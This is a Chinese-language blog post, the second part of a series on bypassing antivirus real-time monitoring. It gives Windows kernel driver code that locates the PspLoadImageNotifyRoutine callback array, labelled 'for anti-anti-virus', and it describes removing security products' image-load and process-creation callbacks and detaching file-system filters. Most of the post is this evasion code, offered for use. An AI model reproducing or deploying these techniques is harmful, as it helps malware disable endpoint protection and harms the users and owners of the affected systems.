繞過殺毒軟件之一(實時監控篇)續

上次說的繞過殺毒軟件之一(實時監控篇)中,提供瞭解決方法這是對應代碼:
(至於如何清理具體驅動的NotfiyRoutine,就是找到驅動所加載的地址,用PsLoadedModuleList或ZwQuerySystemInformation,然後判斷PspLoadImageNotifyRoutine中的項是否落在此驅動範圍,
我在這就不羅嗦了,自己動手去)

//FixNotify.h
//It's for find PspLoadImageNotifyRoutine Addr
//for anti-anti-virus or anti-trojan
#ifndef __FIX_NOTIFY__
#define __FIX_NOTIFY__

DWORD FindPspLoadImageNotifyRoutine(void);

NTSTATUS InitFixNotify(void);

VOID MyNotifyRoutine(IN PUNICODE_STRING  FullImageName,
      IN HANDLE  ProcessId,
      IN PIMAGE_INFO  ImageInfo);

#endif



//FixNotify.cpp
#include "FixNotify.h"

NTSTATUS InitFixNotify(void)
{
 return PsSetLoadImageNotifyRoutine(MyNotifyRoutine);
}

VOID MyNotifyRoutine(IN PUNICODE_STRING  FullImageName,
      IN HANDLE  ProcessId,
      IN PIMAGE_INFO  ImageInfo)
{
    return;
}

DWORD FindPspLoadImageNotifyRoutine(void)
{
 UINT           i,j;
 BYTE*          pCheckArea;
 DWORD          dwCheckAddr;
 DWORD          dwNotifyItemAddr;
 DWORD*         pPspLINotifyRoutine;
 UNICODE_STRING unstrFunc;

 RtlInitUnicodeString(&unstrFunc, L"PsSetLoadImageNotifyRoutine");
 
 pCheckArea = (BYTE*)MmGetSystemRoutineAddress (&unstrFunc) ;
 if (!pCheckArea)
 {
  KdPrint(("[RTMonitor] MmGetSystemRoutineAddress failed."));
  return 0;
 }
 
 
 for (i=0; i<100; i++)
 {
  dwCheckAddr         = *(DWORD*)pCheckArea;
  pPspLINotifyRoutine = (DWORD*)dwCheckAddr;
  
  if (MmIsAddressValid(pPspLINotifyRoutine))
  {
   KdPrint(("[RTMonitor] Vaild Addr: %x", pPspLINotifyRoutine));
   
   dwNotifyItemAddr = *pPspLINotifyRoutine;
   
//內核中關於Notify地址記錄問題,在winxp(win2003)與win2000(NT4.0)下差異很大
#if defined (_WINXP_) || defined (_WIN2003_)

   for (j=0; j<8; j++)
   {
    if (dwNotifyItemAddr != NULL && MmIsAddressValid((void*)dwNotifyItemAddr))
    {
     if (*(DWORD*)(dwNotifyItemAddr-3) == (DWORD)MyNotifyRoutine)
     {
      
      KdPrint(("[RTMonitor] Find PspLoadImageNotifyRoutine: %x", pPspLINotifyRoutine));
      
      return (DWORD)pPspLINotifyRoutine;      
     }
    }
    dwNotifyItemAddr++;
   }
#else

   for (j=0; j<8; j++)
   {
    if (dwNotifyItemAddr == (DWORD)MyNotifyRoutine)
    {
     
     KdPrint(("[RTMonitor] Find PspLoadImageNotifyRoutine: %x", pPspLINotifyRoutine));
     
     return (DWORD)pPspLINotifyRoutine;      
    }
    dwNotifyItemAddr++;
   }
#endif
   
  }
  pCheckArea++;
 }
 
 return 0;
}


ps:關於PsSetCreateProcessNotifyRoutine和Attach File System部分,我在下面一篇文章會分析,
1)PsSetCreateProcessNotifyRoutine修復的方法和PsSetLoadImageNotifyRoutine一樣。
2)Attach File System修復的方法是通用解除Attach的方法!詳見IoAttachDevice的實現,反過來就可以了。
具體參見下篇文章 :)

 
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章